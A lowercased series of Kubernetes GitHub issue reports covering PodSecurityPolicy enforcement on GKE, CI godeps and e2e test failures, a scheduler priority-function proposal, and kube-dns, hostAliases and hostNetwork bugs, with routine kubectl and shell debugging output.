172.31.114.153:48266: eof\r e0514 12:48:58.086989       1 storage_rbac.go:157  unable to initialize clusterroles: get https://127.0.0.1:6443/apis/rbac.authorization.k8s.io/v1/clusterroles: dial tcp 127.0.0.1:6443: getsockopt: connection refused\r e0514 12:48:58.129283       1 client_ca_hook.go:78  post https://127.0.0.1:6443/api/v1/namespaces: dial tcp 127.0.0.1:6443: getsockopt: connection refused\r e0514 12:48:58.129524       1 storage_rbac.go:157  unable to initialize clusterroles: get https://127.0.0.1:6443/apis/rbac.authorization.k8s.io/v1/clusterroles: dial tcp 127.0.0.1:6443: getsockopt: connection refused\r e0514 12:48:58.868302       1 storage_rbac.go:157  unable to initialize clusterroles: get https://127.0.0.1:6443/apis/rbac.authorization.k8s.io/v1/clusterroles: dial tcp 127.0.0.1:6443: getsockopt: connection refused\r e0514 12:48:58.868674       1 client_ca_hook.go:78  post https://127.0.0.1:6443/api/v1/namespaces: dial tcp 127.0.0.1:6443: getsockopt: connection refused\r

 \r   what happened  :\r i created a new gke cluster with  --enable-pod-security-policy  like so:\r \r    \r $ gcloud beta container clusters create psp-demo-1-10 \\\r   --machine-type n1-standard-2 \\\r   --enable-pod-security-policy \\\r   --cluster-version=1.10\r    \r \r when i create a new deployment in this cluster, without creating any podsecuritypolicy resources of my own, the pods fail to create as expected:\r \r    \r $ kubectl run nginx --image=nginx\r deployment.apps \ nginx\  created\r \r $ kubectl describe replicaset -l run=nginx\r ...\r events:\r   type     reason        age                from                   message\r   ----     ------        ----               ----                   -------\r   warning  failedcreate  0s  x13 over 21s   replicaset-controller  error creating: pods \ nginx-65899c769f-\  is forbidden: unable to validate against any pod security policy:   \r    \r \r however, if i try to create a pod on its own, outside of a deployment/replicaset, then the pod launches just fine:\r \r    \r $ kubectl run nginx-pod --image=nginx --restart=never\r pod \ nginx-pod\  created\r \r $ kubectl get pods\r name                                  ready     status    restarts   age\r nginx-pod                             1/1       running   0          6s\r    \r \r this pod seems to be allowed via the  gce.persistent-volume-binder  podsecuritypolicy that gke adds to the cluster when  --enable-pod-security-policy  is enabled.\r \r    \r $ kubectl get podsecuritypolicy/gce.persistent-volume-binder -o yaml\r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ podsecuritypolicy\ ,\ metadata\ :{\ annotations\ :{\ kubernetes.io/description\ :\ policy used by the persistent-volume-binder  a.k.a. persistentvolume-controller  to run recycler pods.\ ,\ seccomp.security.alpha.kubernetes.io/allowedprofilenames\ :\  \ },\ labels\ :{\ addonmanager.kubernetes.io/mode\ :\ reconcile\ ,\ kubernetes.io/cluster-service\ :\ true\ },\ name\ :\ gce.persistent-volume-binder\ ,\ namespace\ :\ \ },\ spec\ :{\ fsgroup\ :{\ rule\ :\ runasany\ },\ hostipc\ :false,\ hostnetwork\ :false,\ hostpid\ :false,\ privileged\ :false,\ readonlyrootfilesystem\ :false,\ runasuser\ :{\ rule\ :\ runasany\ },\ selinux\ :{\ rule\ :\ runasany\ },\ supplementalgroups\ :{\ rule\ :\ runasany\ },\ volumes\ : \ nfs\ ,\ secret\  }}\r     kubernetes.io/description: policy used by the persistent-volume-binder  a.k.a.\r       persistentvolume-controller  to run recycler pods.\r     seccomp.security.alpha.kubernetes.io/allowedprofilenames: ' '\r   creationtimestamp: 2018-06-13t14:38:41z\r   labels:\r     addonmanager.kubernetes.io/mode: reconcile\r     kubernetes.io/cluster-service: \ true\ \r   name: gce.persistent-volume-binder\r   resourceversion: \ 361\ \r   selflink: /apis/extensions/v1beta1/podsecuritypolicies/gce.persistent-volume-binder\r   uid: 77ced26c-6f17-11e8-82d4-42010a8e0032\r spec:\r   allowprivilegeescalation: true\r   fsgroup:\r     rule: runasany\r   runasuser:\r     rule: runasany\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   volumes:\r   - nfs\r   - secret\r    \r \r however it seems that my pod should  not  be authorized to use this podsecuritypolicy:\r \r    \r $ kubectl get clusterrolebindings/gce:podsecuritypolicy:persistent-volume-binder -o yaml\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ rbac.authorization.k8s.io/v1\ ,\ kind\ :\ clusterrolebinding\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ addonmanager.kubernetes.io/mode\ :\ reconcile\ ,\ kubernetes.io/cluster-service\ :\ true\ },\ name\ :\ gce:podsecuritypolicy:persistent-volume-binder\ ,\ namespace\ :\ \ },\ roleref\ :{\ apigroup\ :\ rbac.authorization.k8s.io\ ,\ kind\ :\ clusterrole\ ,\ name\ :\ gce:podsecuritypolicy:persistent-volume-binder\ },\ subjects\ : {\ kind\ :\ serviceaccount\ ,\ name\ :\ persistent-volume-binder\ ,\ namespace\ :\ kube-system\ } }\r   creationtimestamp: 2018-06-13t14:38:40z\r   labels:\r     addonmanager.kubernetes.io/mode: reconcile\r     kubernetes.io/cluster-service: \ true\ \r   name: gce:podsecuritypolicy:persistent-volume-binder\r   resourceversion: \ 358\ \r   selflink: /apis/rbac.authorization.k8s.io/v1/clusterrolebindings/gce%3apodsecuritypolicy%3apersistent-volume-binder\r   uid: 7717af86-6f17-11e8-82d4-42010a8e0032\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: gce:podsecuritypolicy:persistent-volume-binder\r subjects:\r - kind: serviceaccount\r   name: persistent-volume-binder\r   namespace: kube-system\r    \r \r   what you expected to happen  :\r \r the  nginx-pod  pod to be denied from being created due to the lack of a podsecuritypolicy that allows it.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.4-gke.0\r - cloud provider or hardware configuration: gke\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  ci-kubernetes-verify-beta \r \r   which test s  are failing  :\r  verify.godeps   kubernetes-jenkins/logs/ci-kubernetes-verify-beta/4647  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-verify-beta/4647 \r \r   since when has it been failing  :\r test has been failing since 3/24, at 9:19\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-1.14-blocking verify-1.14\r \r   reason for failure  :\r error during  hack/verify-godeps.sh :\r    \r your godeps.json is different:\r --- godeps/godeps.json\t2019-03-25 02:24:42.529814436 +0000\r +++ /tmp/gopath.tmxtzl/src/k8s.io/kubernetes/godeps/godeps.json\t2019-03-25 03:08:44.614866981 +0000\r @@ -1758,12 +1758,12 @@\r  \t\t},\r  \t\t{\r  \t\t\t\ importpath\ : \ github.com/go-openapi/jsonpointer\ ,\r -\t\t\t\ comment\ : \ v0.18.0\ ,\r +\t\t\t\ comment\ : \ v0.19.0\ ,\r  \t\t\t\ rev\ : \ ef5f0afec364d3b9396b7b77b43dbe26bf1f8004\ \r  \t\t},\r  \t\t{\r  \t\t\t\ importpath\ : \ github.com/go-openapi/jsonreference\ ,\r -\t\t\t\ comment\ : \ v0.18.0\ ,\r +\t\t\t\ comment\ : \ v0.19.0\ ,\r  \t\t\t\ rev\ : \ 8483a886a90412cd6858df4ea3483dce9c8e35a3\ \r  \t\t},\r  \t\t{\r godeps verify failed.\r if you're seeing this locally, run the below command to fix your godeps.json:\r patch -p0 < godepdiff.patch\r  the above output can be saved as godepdiff.patch if you're not running this locally \r  the patch file should also be exported as a build artifact if run through ci \r copying patch to artifacts..\r leaving /tmp/gopath.tmxtzl for you to examine or copy. please delete it manually when finished.  rm -rf /tmp/gopath.tmxtzl \r +++ exit code: 1\r +++ error: 1\r \u001b 0;31mfailed\u001b 0m   verify-godeps.sh\t825s\r    \r due to release v0.19.0 of\r  go-openapi/jsonpointer/releases  https://github.com/go-openapi/jsonpointer/releases \r and  go-openapi/jsonreference/releases  https://github.com/go-openapi/jsonreference/releases \r the morning of 3/23.\r \r /milestone v1.14\r  / \r /cc @smourapina @mariantalla @kacole2 @mortent @spiffxp @nikopen

i'm currently trying to improve the overall scheduling throughput. it seems we can achieve significant gains from different kind of parallelization. however, i would like to avoid parallizing individual predicate/ and support parallelization at the framework level.  for predicate function, it is easy to parallelize computations of them between nodes, since they are independent. however, it's not the case for priorities - the interface of  is that it computes priorities for all nodes at the same time.  it would be much easier to parallelize everything, when  would also take a node as an argument and would compute  to current  just for this particular node. however, there are two problematic functions for now  maybe more in the future : - selectorspreading - nodeaffinity  both of them have the same main problem - they are computing some partial scores for nodes independently, but then to compute the final score for the node, they rely on the maximum of those partial scores from all nodes.     proposal 1. i'm proposing to change the interface of  to take a node for which they are supposed to compute priority. 2. we also extend the host to include \ priorityfunctionname\  string 3. we will split  into two phases: 4. per-node computations  which are generally cpu-intensive and would benefit from parallelization  5. aggregation  which is generally much cheaper  and we can afford not parallelizing it  thoughts?  @davidopp @kubernetes/sig-scheduling @kubernetes/sig-scalability

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-aws/6908/  failed:  k8s.io  staging client repo client should create pods, delete pods, watch pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 nov  3 10:44:32.926: couldn't delete ns: \ e2e-tests-clientset-7w2kd\ : namespace e2e-tests-clientset-7w2kd was not deleted with limit: timed out waiting for the condition, namespace is empty but is not yet removed  &errors.errorstring{s:\ namespace e2e-tests-clientset-7w2kd was not deleted with limit: timed out waiting for the condition, namespace is empty but is not yet removed\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:353       previous issues for this test:  31183

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/1247/  failed:  k8s.io  loadbalancing: l7  k8s.io  nginx should conform to ingress spec {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:201 expected error:     < errors.errorstring | 0xc420acffb0>: {         s: \ failed to execute a successful get within 30s, last response body for http://35.184.1.44:31756, host :\ \ \ timed out waiting for the condition\ \ ,     }     failed to execute a successful get within 30s, last response body for http://35.184.1.44:31756, host :               timed out waiting for the condition      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress_utils.go:863

failure cluster  9105b1d7156978e7666e  https://go.k8s.io/triage 9105b1d7156978e7666e        error text:     error during ./hack/ginkgo-e2e.sh --kubectl-path=/workspace/kubernetes_skew/cluster/kubectl.sh: exit status 1           failure cluster statistics: 1 tests failed,    35 jobs failed,    105 builds failed. failure stats cover 1 day time range '17 jun 2017 06:02 utc' to '18 jun 2017 06:02 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 35 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-master | 12 |  18 jun 2017 04:31 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-master/27  | | ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-master | 11 |  18 jun 2017 04:00 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-master/28  | | ci-kubernetes-e2e-gke-gci-1-5-cvm-1-7-upgrade-master | 11 |  18 jun 2017 04:00 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-cvm-1-7-upgrade-master/26  |   current status  https://go.k8s.io/triage 9105b1d7156978e7666e

failure cluster  3be71e4e1abed3d56524  https://go.k8s.io/triage 3be71e4e1abed3d56524        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --kubectl-path=/workspace/kubernetes_skew/cluster/kubectl.sh: exit status 1           failure cluster statistics: 1 tests failed,    17 jobs failed,    106 builds failed. failure stats cover 1 day time range '29 jun 2017 22:01 utc' to '30 jun 2017 22:01 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 17 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-cluster | 11 |  30 jun 2017 20:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-cluster/67  | | ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster | 11 |  30 jun 2017 19:07 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster/92  | | ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster | 11 |  30 jun 2017 20:12 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster/74  |   current status  https://go.k8s.io/triage 3be71e4e1abed3d56524

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r  >  \r \r   what happened  :\r \r not possible to update a k8s release using the documented  $kubernetes_release .\r see below.  using a  -rc1  suffix will fail.  but 1.8.0 is not released yet, so can't specify that either.\r \r  09:45:32  fmil@fmil:~/tmp/k8s\r $ kubernetes_release=v1.8.0-rc1 ./script.sh                                                                                        \r 'kubernetes' directory already exist. should we skip download step and start to create cluster based on it?  y /n\r n\r version doesn't match regexp\r \r  09:46:09  fmil@fmil:~/tmp/k8s\r $ kubernetes_release=v1.8.0 ./script.sh                                                                                            \r 'kubernetes' directory already exist. should we skip download step and start to create cluster based on it?  y /n\r n\r found preexisting kubernetes.tar.gz, release v1.7.6\r downloading kubernetes release v1.8.0\r   from https://dl.k8s.io/v1.8.0/kubernetes.tar.gz\r   to /usr/local/google/home/fmil/tmp/k8s/kubernetes.tar.gz\r will also delete preexisting 'kubernetes' directory.\r is this ok?  y /n\r \r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100   161  100   161    0     0    992      0 --:--:-- --:--:-- --:--:--   993\r   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\r curl:  22  the requested url returned error: 404 not found\r \r \r \r   what you expected to happen  :\r it should be possible to supply a semver of a kubernetes release and have the script install that.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see above.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r ran the following example on a gke cluster:\r https://kubernetes.io/docs/concepts/services-networking/add-entries-to-pod-etc-hosts-with-host-aliases/ adding-additional-entries-with-hostaliases\r \r    \r > kubectl create -f test_pod.yml\r pod \ hostaliases-pod\  created\r > kubectl logs hostaliases-pod\r   kubernetes-managed hosts file.\r 127.0.0.1       localhost\r ::1     localhost ip6-localhost ip6-loopback\r fe00::0 ip6-localnet\r fe00::0 ip6-mcastprefix\r fe00::1 ip6-allnodes\r fe00::2 ip6-allrouters\r 10.4.0.47       hostaliases-pod\r    \r \r the extra host entries were not added to the  /etc/hosts  file.\r \r   what you expected to happen  :\r \r the extra host entries should have been added to the  /etc/hosts  file, as described in the documentation:\r    \r   kubernetes-managed hosts file.\r 127.0.0.1\tlocalhost\r ::1\tlocalhost ip6-localhost ip6-loopback\r fe00::0\tip6-localnet\r fe00::0\tip6-mcastprefix\r fe00::1\tip6-allnodes\r fe00::2\tip6-allrouters\r 10.244.135.10\thostaliases-pod\r 127.0.0.1\tfoo.local\r 127.0.0.1\tbar.local\r 10.1.2.3\tfoo.remote\r 10.1.2.3\tbar.remote\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-gke.1\ , gitcommit:\ 407dbfe965f3de06b332cc22d2eb1ca07fb4d3fb\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t21:21:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r gke\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r \r for pods using hostnetwork container names are set to the hostname of the node itself.\r i observed this behavior for \ bare\  pods and statefulsets.\r \r   what you expected to happen  :\r \r in case of statefulset, even with hostnetwork feature being in use, i would expect the containers to have hostname matching: $ statefulset name -$ ordinal   as advertised here: https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/ stable-network-id .\r \r hostname of the container would preserve its identity, and it would be possible to resolve it to the ip  in my case external  of the node at the same time.\r \r if this is expected behavior, good thing would be to have a note in statefulset documentation  or / and hostnetwork feature maybe , and something like \ canonical workaroud\  for it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: busybox\r   namespace: default\r spec:\r   containers:\r   - image: busybox\r     command:\r       - sleep\r       - \ 3600\ \r     imagepullpolicy: ifnotpresent\r     name: busybox\r   restartpolicy: always\r   hostnetwork: true\r    \r or\r    \r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r   labels:\r     app: nginx\r spec:\r   ports:\r   - port: 80\r     name: web\r   clusterip: none\r   selector:\r     app: nginx\r ---\r apiversion: apps/v1beta2\r kind: statefulset\r metadata:\r   name: web\r spec:\r   selector:\r     matchlabels:\r       app: nginx\r   servicename: \ nginx\ \r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       hostnetwork: true\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: nginx\r         image: gcr.io/google_containers/nginx-slim:0.8\r         ports:\r         - containerport: 80\r           name: web\r    \r those are basically examples from the k8s documentation, slightly tweaked  nginx stripped from the volume mount / claim  and with hostnetwork set to true.\r \r   anything else we need to know?  :\r \r in the dump of the configuration  in case of statefulset , \ hostname\  in \ spec\  has proper value, in case of nginx manifest i shared above: \ web-0\ \r \r my use-case or final effect i am searching for is similar or even the same as described here:\r \r https://github.com/kubernetes/kubernetes/issues/52084\r \r i can work-around this problem currently, but it might be a problem later.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0+coreos.0\ , gitcommit:\ a65654ef5b593ac19fbfaf33b1a1873c0320353b\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t21:51:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0+coreos.0\ , gitcommit:\ a65654ef5b593ac19fbfaf33b1a1873c0320353b\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t21:51:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }  \r - cloud provider or hardware configuration:\r bare-metal / vms\r - os  e.g. from /etc/os-release :\r ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  :\r linux xxxxx 4.4.0-98-generic  121-ubuntu smp tue oct 10 14:24:03 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubespray  current version, as of thu nov 9 \r - others:\r \r /area stateful-apps\r 

 \r   what happened  :\r \r i have deployed a fresh  1.8.5  cluster with a single master and single minion via  kubeadm .\r i have deployed  flannel  as the cni plugin.\r the cluster appears healthy and all  kube-system  pods  including  kube-proxy  and  kube-dns   are up and running with no errors in the logs  only a single warning detailed below .\r \r any pods that are scheduled on the minion node do not have access to  kube-dns  on  10.96.0.10 .\r \r on the master node,  10.96.0.10  is accessible:\r    \r  centos@k8s-kube-master-0 ~ $ dig google.com @10.96.0.10\r \r ; <<>> dig 9.9.4-redhat-9.9.4-51.el7_4.1 <<>> google.com @10.96.0.10\r ;; global options: +cmd\r ;; got answer:\r ;; ->>header<<- opcode: query, status: noerror, id: 17191\r ;; flags: qr rd ra; query: 1, answer: 1, authority: 0, additional: 1\r \r ;; opt pseudosection:\r ; edns: version: 0, flags:; udp: 4000\r ;; question section:\r ;google.com.                    in      a\r \r ;; answer section:\r google.com.             154     in      a       216.58.201.46\r \r ;; query time: 2 msec\r ;; server: 10.96.0.10 53 10.96.0.10 \r ;; when: tue dec 12 11:07:02 utc 2017\r ;; msg size  rcvd: 55\r    \r \r however on the minion node,  10.96.0.10  is inaccessible:\r \r    \r  centos@k8s-kube-node-0 ~ $ dig google.com @10.96.0.10                                                                                                                                                    \r \r                \r \r ; <<>> dig 9.9.4-redhat-9.9.4-51.el7_4.1 <<>> google.com @10.96.0.10\r ;; global options: +cmd\r ;; connection timed out; no servers could be reached\r    \r \r note - i tested the above  dig  commands on the master and minion nodes both on the nodes themselves and within pods on the nodes.\r \r   what you expected to happen  :\r \r the minion node  and pods running on the minion  should be able to access  kube-dns  via  10.96.0.10 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  create a fresh 1.8.5 cluster via  kubeadm   https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/ \r \r attempt to run  dig google.com @10.96.0.10  on the minion node as above.\r \r   anything else we need to know?  :\r - i have followed the  service-debugging/troubleshooting  https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service  guide.\r \r when i reach the  does-the-service-work-by-dns  https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/ does-the-service-work-by-dns  section - the  nslookup  fails  hangs/timeout .\r \r interestingly when i reach the  does-the-service-work-by-ip  https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/ does-the-service-work-by-ip  section - the service does work by ip and all of the endpoints do return their hostnames - so it seems to be just dns that is a problem.\r \r however, i am unclear of the steps outlined in the  is-the-kube-proxy-working  https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service// is-the-kube-proxy-working  section.\r the section calls out checking  kube-proxy  logs via  /var/log/kube-proxy.log  or  journalctl  but there is no  kube-proxy.log  on my minion server nor any  kube-proxy  related messages in  journalctl   apart from the  kubelet  logs related to deloying the  kube-proxy  pod .\r my interpretation of the troubleshooting guide is to check for the  kube-proxy  logs on the host node itself, however i can only access them via the  kube-proxy  pod logs - which contain:\r    \r w1212 10:20:33.731679       1 server.go:191  warning: all flags other than --config, --write-config-to, and --cleanup are deprecated. please begin using a config file asap.\r w1212 10:20:33.801444       1 server_others.go:268  flag proxy-mode=\ \  unknown, assuming iptables proxy\r i1212 10:20:33.803386       1 server_others.go:122  using iptables proxier.\r i1212 10:20:33.824248       1 server_others.go:157  tearing down inactive rules.\r i1212 10:20:33.921035       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 131072\r i1212 10:20:33.921098       1 conntrack.go:52  setting nf_conntrack_max to 131072\r i1212 10:20:33.922396       1 conntrack.go:83  setting conntrack hashsize to 32768\r i1212 10:20:33.922621       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i1212 10:20:33.922656       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i1212 10:20:33.923269       1 config.go:202  starting service config controller\r i1212 10:20:33.925494       1 controller_utils.go:1041  waiting for caches to sync for service config controller\r i1212 10:20:33.925616       1 config.go:102  starting endpoints config controller\r i1212 10:20:33.925627       1 controller_utils.go:1041  waiting for caches to sync for endpoints config controller\r i1212 10:20:34.025776       1 controller_utils.go:1048  caches are synced for service config controller\r i1212 10:20:34.025839       1 controller_utils.go:1048  caches are synced for endpoints config controller\r    \r \r note: that warning on the first line is very interesting - i note that the  kube-proxy  command line is as below and that the  --cluster-cidr  is being passed on the command line.\r    \r /usr/local/bin/kube-proxy --kubeconfig=/var/lib/kube-proxy/kubeconfig.conf --cluster-cidr=10.244.0.0/16\r    \r if  all flags other than --config, --write-config-to, and --cleanup are depreciated  then - does that mean that  --cluster-cidr  is being ignored and needs to be set in the  kubeconfig.conf  file by  kubeadm ?\r \r for the remaining sections in this troubleshooting guide:\r  is-kube-proxy-writing-iptables-rules  https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/ is-kube-proxy-writing-iptables-rules  - yes\r  is-kube-proxy-proxying  https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/ is-kube-proxy-proxying  - yes\r \r - i have tried flannel, calico, and multus\r always installed to a freshly install k8s cluster, always with the same result, thus i do not think that this is a cni plugin issue.\r - i have followed the  dns-pod-service/ how-do-i-test-if-it-is-working  https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/ how-do-i-test-if-it-is-working  troubleshooting guide but as above - the  nslookup  fails.\r \r - i do pass the appropriate  --pod-network-cidr  or  --pod-network-cidr=  to  kubeadm init  depending on the cni plugin   --pod-network-cidr=10.244.0.0/16  in the case of flannel \r \r - i have checked the logs for  kube-proxy ,  kube-dns  and  flanneld  - all of which only contain healthy looking  info  level messages  apart from the one  kube-proxy   warning  message above .\r \r - i ensure to set  net.ipv4.ip_forward=1  and  net.bridge.bridge-nf-call-iptables=1  via  sysctl \r \r - as per the suggestions in  45459 - i am using flannel  0.9.1  and i pass  --iptables=false  to  dockerd  in the docker systemd unit.\r \r - i pass  --iface=eth0  to flanneld as suggested in  flannel issue  535  https://github.com/coreos/flannel/issues/535 \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:16:03z\ , \r \r goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:05:18z\ , \r \r goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r deploying to openstack mikata.\r - os  e.g. from /etc/os-release :\r i have tried both centos 7.3.1611 and ubuntu 16.04.\r - kernel  e.g.  uname -a  :\r  linux k8s-kube-master-0 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r  kubeadm version: &version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:05:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - there is no firewalld or iptables services running

_from @dims on september 21, 2018 18:41_  in https://github.com/kubernetes/release/pull/630 we are adding sha512, during review we asked if we really needed both md5 and sha1 or if we just drop say md5?  _copied from original issue: kubernetes/release 635_

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-cos-master-serial\r \r   which test s  are failing  :\r should unmount if pod is force deleted while kubelet is down  disruptive  slow \r \r   since when has it been failing  :\r 11/07/18 15:02\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-cos-master-serial\r \r   reason for failure  :\r the test case stops and starts kubelet, and it seems like kubelet is unable to start again\r \r   anything else we need to know  :\r \r <!-- do not edit below this line -->\r 

<!--\r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r forgive me.i do not have a google/facebook account logging in stackoverflow.\r i have read the kube-proxy code,since i am new to golang.there is a question:\r in kube-proxy code new a proxyserver:\r type proxyserver struct {\r \tclient                 clientset.interface\r \teventclient            v1core.eventsgetter\r \tiptinterface           utiliptables.interface\r \tipvsinterface          utilipvs.interface\r \tipsetinterface         utilipset.interface\r \texecer                 exec.interface\r \tproxier                proxy.proxyprovider\r \tbroadcaster            record.eventbroadcaster\r \trecorder               record.eventrecorder\r \tconntrackconfiguration kubeproxyconfig.kubeproxyconntrackconfiguration\r \tconntracker            conntracker // if nil, ignored\r \tproxymode              string\r \tnoderef                 v1.objectreference\r \tcleanupandexit         bool\r \tcleanupipvs            bool\r \tmetricsbindaddress     string\r \tenableprofiling        